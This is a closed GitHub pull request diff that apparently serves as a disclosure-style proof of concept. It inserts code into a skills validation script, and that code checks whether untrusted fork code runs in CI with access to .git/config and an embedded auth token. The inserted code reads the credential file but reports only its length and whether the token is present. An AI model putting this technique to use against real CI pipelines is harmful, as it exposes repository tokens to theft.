Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion code-review/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ tags:
- quality
- review
---

# Test
# Code Review Checklist

When reviewing code, check each of these areas:
Expand Down
15 changes: 15 additions & 0 deletions scripts/validate-skills.mjs
Original file line number Diff line number Diff line change
@@ -1,6 +1,21 @@
#!/usr/bin/env node
import fs from "node:fs";
import path from "node:path";
//POC
import { existsSync, readFileSync } from 'node:fs';

console.log('=== PoC: fork-controlled script executing with working-directory=pr ===');
console.log('cwd:', process.cwd());
const gitConfigPath = '.git/config';
if (existsSync(gitConfigPath)) {
const cfg = readFileSync(gitConfigPath, 'utf8');
console.log('.git/config exists, length:', cfg.length, 'bytes');
console.log('contains embedded auth token (extraheader):', cfg.includes('extraheader'));
} else {
console.log('.git/config not found');
}
console.log('=== end PoC recon — original script continues below ===');
//POC

const REPO_ROOT = process.cwd();
const SKILLS_ROOT = REPO_ROOT;
Expand Down
Loading